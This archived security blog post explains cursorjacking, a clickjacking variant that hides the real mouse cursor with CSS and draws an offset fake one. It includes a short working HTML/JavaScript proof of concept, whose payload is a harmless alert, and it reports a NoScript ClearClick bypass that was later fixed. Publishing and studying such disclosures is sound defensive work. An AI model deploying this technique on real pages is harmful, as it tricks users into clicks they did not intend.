

Cursorjacking again

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Content

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About a year ago, [Marcus Niemietz](#) demonstrated UI redressing technique called [cursorjacking](#). It deceived users by using a custom cursor image, where the pointer was displayed with an offset. So the displayed cursor was shifted to the right from the actual mouse position. With clever positioning of page elements attacker could direct user clicks to desired elements.

Cursor fun

Yesterday [Mario Heiderich](#) noticed that

```
<body style="cursor:none">
```

works across User-Agents, so one could easily totally hide the original mouse cursor. Combine that with mousemove listener, mouse cursor image and a little distraction and we have another UI redressing vector. The idea is very simple:

```
<body style="cursor:none;height: 1000px;">

<button id=fake style="font-size: 150%;position:absolute;top:100px;left:630px;">click me click me</button>
<div style="position:absolute;top:100px;left:30px;">
<a href="#" onclick="alert(/you clicked-me-instead/)">i'm not important</a>
</div>
<script>
  var oNode = document.getElementById('cursor');

  var onmove = function (e) {
    var nMoveX = e.clientX, nMoveY = e.clientY;
    oNode.style.left = (nMoveX + 600)+"px";
    oNode.style.top = nMoveY + "px";
  };
  document.body.addEventListener('mousemove', onmove, true);
</script>
</body>
```

| [\[\[image: image\]\]](https://web.archive.org/web/20171017190804/http://4.bp.blogspot.com/-aZtMFqISfqE/TxbFdJhaH_I/AAAAAAAAAE6E/J2Q849B6E1g/s1600/cursorjacking.jpg)(https://web.archive.org/web/20171017190804/http://4.bp.blogspot.com/-aZtMFqISfqE/TxbFdJhaH_I/AAAAAAAAAE6E/J2Q849B6E1g/s1600/cursorjacking.jpg) | | The one on the left is real, right is fake. The idea is to distract you from noticing the left one. | |

Demo

It's just a sketch (e.g. in real life one would have to handle skipping mouse cursor when it's over a frame), but it works nonetheless. Try this [good cursorjacking example](#) ;) Here's [sources](#) for anyone interested.

Bonus

[NoScript ClearClick](#) (a clickjacking protection) works, because it detects clicks on areas that are hidden from the user (e.g. with opacity:0). With cursorjacking the protection won't get triggered as attacker is not hiding the original element to click on (Twitter button in the PoC). The only deception is distraction. So, currently, this technique is a **NoScript ClearClick protection bypass**.

Update: Fixed in [NoScript 2.2.8 RC1](#)

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